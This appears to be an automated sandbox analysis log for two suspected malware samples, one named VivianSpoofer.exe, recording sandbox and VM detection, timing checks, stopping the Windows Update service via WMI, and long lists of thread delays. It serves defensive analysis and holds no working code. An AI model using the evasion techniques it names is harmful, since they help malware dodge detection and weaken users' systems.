Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="1"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="2"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="2"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="3"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="3"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="4"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="4"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="5"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="5"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="6"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="6"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="7"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\CIMV2 : Win32_NetworkAdapter.DeviceID="7"::enable
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_NetworkAdapter where NetConnectionId IS NOT NULL
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_NetworkAdapter.DeviceID="1"::Enable

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Service where Name = 'wuauserv'
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Service.Name="wuauserv"::StopService
Source: C:\Users\user\Desktop\VivianSpoofer.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Service.Name="wuauserv"::ChangeStartMode

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: aYu936prD4.exe, UpdatePackage.dat.0.dr

Binary or memory string: SBIEDLL.DLL

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Windows\System32\ESCore.exe	Special instruction interceptor: First address: 140AF4EFC instructions rdtsc caused by: RDTSC with Trap Flag (TF)
Source: C:\Windows\System32\ESCore.exe	Special instruction interceptor: First address: 140AA2C32 instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Source: C:\Users\user\Desktop\aYu936prD4.exe	Memory allocated: 21B14EC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Memory allocated: 21B2EBA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Memory allocated: 27926890000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Memory allocated: 279402A0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\VivianSpoofer.exe

Code function: 17_2_00007FFAAC540F61 sldt word ptr [eax]

17_2_00007FFAAC540F61

Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599750	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599640	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 599094	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598984	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598656	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598398	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598294	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598181	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 598062	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597953	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597844	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597734	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596969	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596531	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596421	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595966	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595739	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595455	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595338	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595232	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594904	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594687	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594578	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594468	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594359	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594250	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Thread delayed: delay time: 594140	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599531	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599421	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599274	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599166	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 599040	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598922	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598594	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 598047	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597813	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597344	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 597110	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596219	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595719	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595344	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595203	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594563	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594328	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594218	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 594094	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 593985	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 593672	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 593235	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 593110	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592984	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592860	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592672	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592563	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592438	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592328	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 592125	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591969	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591828	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591688	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591516	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591391	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591261	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 591141	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 590407	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 590281	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 590172	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 590016	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589906	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589750	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589641	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589500	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589375	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589266	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589156	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 589047	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588938	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588813	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588657	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588516	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588406	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588297	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Thread delayed: delay time: 588188	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Window / User API: threadDelayed 1704	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Window / User API: threadDelayed 8152	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Window / User API: threadDelayed 1993	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Window / User API: threadDelayed 7642	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8140	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -599750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -599640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -599531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -599094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -598984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -598656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -598398s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -598294s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -598181s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -598062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -597953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -597844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -597734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -597625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -597515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -597297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -596969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -596750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -596640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -596531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -596421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -596297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -596187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -596078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -595966s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -595859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -595739s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -595455s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -595338s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -595232s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -595125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -595015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -594904s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -594797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -594687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -594578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -594468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe TID: 8076	Thread sleep time: -594359s >= -30000s	Jump to behavior
